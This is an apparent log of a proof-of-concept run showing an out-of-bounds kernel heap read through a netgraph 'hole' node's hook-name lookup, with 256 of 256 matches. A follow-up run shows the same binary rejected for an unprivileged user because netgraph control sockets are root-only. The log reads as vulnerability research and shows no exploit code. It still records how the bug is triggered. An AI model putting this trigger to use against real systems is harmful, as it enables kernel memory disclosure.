hole_oob: uid=0
STEP socket node named oob
STEP data socket connected to oob
STEP mkpeer hole S.a<->hole.abcde1
STEP sent 5-byte packet into hole hook
STEP sanity getstats: token=22531 frames=1 octets=5
STEP negative control: unterminated full-length -> sendto errno=2 (-errno=-2, ENOENT=2 = no match)
RESULT oob_matches=256/256 enoent=1 rejected=0 other=0
RESULT OOB-READ PROVEN: stats returned for a request that supplied ZERO hook-name bytes (kernel strcmp completed the name from stale heap past the sent payload)
EXIT=0

-- unpriv check on the same stock kernel (uid 1001) --
$ cp /root/poc58/hole_oob /tmp/ && chmod 755 /tmp/hole_oob && su maxx -c /tmp/hole_oob
RESULT control-socket errno=1 (Operation not permitted)
(ngc_attach caps_priv_check -> AF_NETGRAPH control sockets are root-only)